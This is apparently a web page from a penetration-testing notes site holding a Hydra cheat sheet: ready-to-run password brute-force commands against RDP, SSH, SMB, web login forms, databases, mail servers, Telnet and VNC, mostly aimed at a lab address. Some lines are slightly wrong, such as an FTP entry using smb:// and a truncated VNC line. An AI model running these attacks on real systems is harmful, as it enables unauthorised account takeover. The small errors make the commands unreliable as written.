Initializing VAULT-TEC OS...
Loading security protocols...
Establishing secure connection...
Connection established.
SYSTEM READY

Vault-Tec Terminal

ABOUT POSTS NOTES TOOLS

CheatSheets

CURL DNS File Transfer Hydra Impacket JohnTheRipper NCAT NMAP Online Resources Reverse Shell Wordlists

Active Directory

Mindmap Attacking AD Linux AD

Cloud

AWS Azure Google Terraform

Container

Docker Kubernetes

Linux

Penetration Testing Checklist Enumeration Privilege Escalation Post Exploitation Services Tools

Network

Data Exfiltration Port Scanning Reconnaissance Pivoting Services Traffic Analysis

Tech Stack

CMS Databases DevOps Enterprise Apps IAM Monitoring Open-Source Utilities Web Servers

Windows

AV/EDR Evasion Enumeration Privilege Escalation Post Exploitation

Web Application

Reconnaissance Common Vulnerabilities Authentication Bypass API Testing

hydra Cheat Sheet

#GUI
xhydra

#RDP
hydra -V -f -L usernames.txt -P passwords.txt rdp://10.0.2.5 -V

#SSH
hydra -l root -P passwords.txt -f ssh://10.0.2.5 -V

#SMB
hydra -l Administrator -P passwords.txt -f smb://10.0.2.5 -V

#FTP
hydra -l root -P passwords.txt -f smb://10.0.2.5 -V

#HTTP Basic Auth
hydra -L users.txt -P password.txt 10.0.2.5 http-get /login/ -V

#HTTP Post
hydra -L users.txt -P password.txt 10.0.2.5 http-post-form "/path/index.php:name=^USER^&password=^PASS^&enter=Sign+in:Login name or password is incorrect" -V

#IMAP
hydra -l root -P passwords.txt -f imap://10.0.2.5 -V

#MySQL
hydra -L usernames.txt -P pass.txt -f mysql://10.0.2.5 -V

#POP
hydra -l USERNAME -P passwords.txt -f pop3://10.0.2.5 -V

#Redis
hydra –P password.txt redis://10.0.2.5 -V

#Rexec
hydra -l root -P password.txt rexec://10.0.2.5 -V

#Rlogin
hydra -l root -P password.txt rlogin://10.0.2.5 -V

#RSH
hydra -L username.txt rsh://10.0.2.5 -V

#RSP
hydra -l root -P passwords.txt <IP> rtsp

#SMTP
hydra -l <username> -P /path/to/passwords.txt <IP> smtp -V
hydra -l <username> -P /path/to/passwords.txt -s 587 <IP> -S -v -V

#Port 587 for SMTP with SSL
#Telnet
hydra -l root -P passwords.txt [-t 32] <IP> telnet

#VNC
hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt -s <PORT> <IP> vn